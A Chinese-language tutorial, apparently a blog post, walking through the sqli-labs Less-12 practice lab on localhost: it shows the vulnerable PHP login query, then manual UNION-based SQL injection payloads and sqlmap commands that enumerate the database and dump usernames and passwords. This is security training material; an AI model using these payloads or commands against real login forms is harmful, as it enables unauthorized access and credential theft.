1. 思路🚀
本關的SQL語句為:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
- 注入類型:字符串型(雙引號、括號包裹)、POST請求
- 提示:參數需以
")
閉合
php
輸出語句的部分代碼:
if($row)
{//echo '<font color= "#0000ff">'; echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">'; echo "<br>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; echo "</font>";
}
從源碼下手便于我們更清晰的鎖定回顯情況,從而更深入的理解知識點,每篇文章我都會附加上重點代碼部分。
2. 手工注入步驟🎯
我的地址欄是:http://localhost:8081/Less-12/
,只需要將下面的url
和post data
放入對應位置,粘貼即可。
2.1. 判斷能否注入?
uname=1") order by 3 #
&passwd=admin&submit=Submit
order by 3
:探測字段數(報錯說明字段數=2)
2.2. 判斷回顯點?
uname=1") union select 1,2 #
&passwd=admin&submit=Submit
2.3. 獲取基礎信息?
uname=1") union select database(),user() #
&passwd=admin&submit=Submit
2.4. 獲取表名?
uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security' #
&passwd=admin&submit=Submit
2.5. 獲取字段?
uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' #
&passwd=admin&submit=Submit
2.6. 獲取數據?
uname=1") union select group_concat(username),group_concat(password) from users #
&passwd=admin&submit=Submit
2.7. 參數匯總表?
參數 | 作用 | 示例 |
---|---|---|
") | 閉合符號 | id=1') |
# | 注釋符 | # |
order by | 判斷字段數 | order by 3 |
union select | 聯合查詢 | union select 1,2,3 |
group_concat() | 合并結果 | group_concat(table_name) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
3. SQLMap工具測試🎯
url
地址換成自己的,比如:http://localhost:8081/Less-12/
,由于本關卡為post
請求,需要加參數指明請求格式,
--data="uname=1&passwd=123456"
,uname
與passwd
的值隨意,具體如下:?
# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-12/" --data="uname=1&passwd=123456" --batch# 爆數據庫
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch
命令1截圖:
命令5截圖:
SQLMap參數表?
參數 | 功能 |
---|---|
--data | 指定post 請求 |
--batch | 非交互模式 |
--dbs | 枚舉數據庫 |
-D | 指定數據庫 |
-T | 指定表 |
-C | 指定列 |
--dump | 導出數據 |
4. 總結🏁
本關卡與關卡11的解法一致,但關卡11的解析更為詳細,歡迎大家移步"sqli-labs:Less-11關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209
聲明:本文僅用于安全學習,嚴禁非法測試! ???